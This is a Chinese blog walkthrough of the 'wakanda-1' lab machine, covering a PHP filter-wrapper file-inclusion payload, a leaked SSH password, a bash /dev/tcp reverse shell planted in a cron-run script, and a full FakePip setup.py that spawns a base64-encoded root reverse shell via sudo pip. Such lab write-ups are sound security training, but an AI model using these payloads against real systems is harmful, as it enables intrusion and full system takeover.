wakanda-1靶机

环境配置

image.png


主机发现,注意找mac地址对应的ip

image.png


端口目录扫描

image.png

image.png


首页

image.png


查看首页源代码

image.png


拼接参数存在php伪协议的文件包含,包含首页文件inde.php
/?lang=php://filter/read=convert.base64-encode/resource=index

image.png


去在线平台base64解码,

image.png

image.png


ssh连接 mamadou : Niamey4Ever227!!!

image.png


提权
这是一个python环境,家目录下有个flag文件

image.png

image.png


查看其他目录文件

image.png


home/devops下有个flag2,但没有读取权限

image.png


在/srv发现一个隐藏文件.antivirus.py,该文件任意用户都有写权限,但没有执行权限

image.png


还发现一个test文件,仔细观察后发现,test文件每隔五分钟就会被修改一次,说明有一个定时任务在不断调用.antivirus.py

13c9988f6a2e47c713889218252bb04.png


os.system('/bin/bash')切换终端

image.png


将.antivirus.py文件修改为反弹shell的代码
import os
os.system("echo 'bash -i >& /dev/tcp/192.168.0.107/6767 0>&1'|bash")
kali监听

image.png


sudo -l,尝试pip的sudo提权

763fdc1836c7c410ef431ae73e1e625c.png


在tmp目录下创建恶意文件,注意修改rhost为靶机地址
from setuptools import setup
from setuptools.command.install import install
import base64
import os


class CustomInstall(install):
def run(self):
install.run(self)
RHOST = '192.168.7.11'

reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 7777; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
encoded = base64.b64encode(reverse_shell)
os.system('echo %s|base64 -d|bash' % encoded)


setup(name='FakePip',
version='0.0.1',
description='This will exploit a sudoer able to /usr/bin/pip install *',
url='https://github.com/0x00-0x00/fakepip',
author='zc00l',
author_email='andre.marques@esecurity.com.br',
license='MIT',
zip_safe=False,
cmdclass={'install': CustomInstall})

Bash复制代码

1

sudo -H /usr/bin/pip install . --upgrade --force-reinstall

随机反弹到root的shell

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值